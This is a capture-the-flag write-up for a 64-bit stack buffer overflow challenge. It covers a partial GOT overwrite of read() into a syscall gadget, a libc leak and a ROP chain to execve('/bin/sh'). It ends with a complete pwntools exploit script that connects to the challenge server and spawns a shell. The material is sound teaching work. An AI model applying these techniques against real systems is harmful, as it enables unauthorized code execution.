checksec outputs the following:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

Looking at the executable, there is not much going on. The main() function simply calls vuln(), which is the following in C:

void vuln(void) { char buf[10]; read(0,buf,0xaa); }

This is a simple buffer overflow to overwrite the base pointer and return pointer. Immediately we have a problem: no gadgets to edit rdx, and no gadgets to make a syscall. Recall that NX is enabled, which means we can't load shellcode easily. mprotect() requires a syscall gadget anyway. To get around this, we make an educated guess that the read() libc function uses the syscall instruction, and hope it's close enough to the beginning of the function that we can overwrite the lowest byte of read()'s GOT entry to point it to the syscall.

Disassembling the read(), we get:

        ;-- read:                                                           
   
        0x00110180      488d0571072e.  lea rax, [0x003f08f8]      
        0x00110187      8b00           mov eax, dword [rax]       
        0x00110189      85c0           test eax, eax              
    ,=< 0x0011018b      7513           jne 0x1101a0               
    |   0x0011018d      31c0           xor eax, eax               
    |   0x0011018f      0f05           syscall                    
    |   0x00110191      483d00f0ffff   cmp rax, 0xfffffffffffff000          
   
   ,==< 0x00110197      7757           ja 0x1101f0                          
   
   ||   0x00110199      f3c3           ret                                  

We're not concerned about the ja since that branch will only be taken if the system call returns an error. This is effectively a syscall; ret sequence at offset 0x11018f. We can edit the lowest byte 0x80 of the read() GOT entry to 0x8f to point it to this gadget by using the read() PLT entry. However, since we don't have control of rdx, the read size will have to be 0xaa. We can simply enter one byte only to make this read only one byte. We add the following call to our stack payload:

read@PLT(1,ptr_got_read,0xaa)

After this call, we can use the write() system call to get a leak. Since read() read in only one byte, rax is equal to 1. If we immediately use the syscall gadget, this will be a write() system call.

write(1,ptr_got_read,0xaa)

This will get us a libc pointer leak. Now we need to call read() again to load "/bin/sh" and the other two execve() args somewhere in preparation for execve(). In the vuln() function the assembly looks something like this:

mov eax,0 call read@PLT

We can use this to call read despite having overwritten the read() GOT entry.

Finally, we invoke vuln() using the last return pointer of this payload to get a new payload onto the stack to call execve().

Here is the full exploit script:

#!/usr/bin/env python3

from pwn import *
import time

#p = process("./one_and_a_half_man")
p = remote("one-and-a-half-man.3k.ctf.to",8521)

ptr_plt_read = 0x4004b0
ptr_rel_read = 0x601018
ptr_pop_rdi = 0x00400693
ptr_pop_rsi_r15 = 0x00400691
ptr_vuln = 0x4005b7
ptr_buf = 0x601070
ptr_read_gadget = 0x4005cb

buf = b'A' * 10
buf += p64(ptr_buf)
buf += p64(ptr_pop_rsi_r15) + p64(ptr_rel_read) + p64(0)
buf += p64(ptr_plt_read)
buf += p64(ptr_pop_rdi) + p64(1)
buf += p64(ptr_plt_read)
buf += p64(ptr_pop_rsi_r15) + p64(ptr_buf) + p64(0)
buf += p64(ptr_read_gadget)

p.send(buf + bytes(0xaa - len(buf)))
p.send(b'\x8f')

s = p.recvn(0xaa)
ptr_leak = int.from_bytes(s[:8],"little")
ptr_libc = ptr_leak - 0x11018f

print(hex(ptr_libc))
#sys.stdin.readline()

ptr_pop_rax = ptr_libc + 0x43a78
ptr_pop_rdx = ptr_libc + 0x1b96
ptr_syscall = ptr_libc + 0x13c0

buf = p64(ptr_buf)
buf += p64(ptr_pop_rax) + p64(59)
buf += p64(ptr_pop_rdx) + p64(0)
off = 0x58
buf += p64(ptr_pop_rdi) + p64(ptr_buf + off)
buf += p64(ptr_pop_rsi_r15) + p64(ptr_buf + off + 8) + p64(0)
buf += p64(ptr_syscall)
buf += b"/bin/sh\x00"
buf += p64(ptr_buf + off) + p64(0)

p.send(buf)

p.interactive()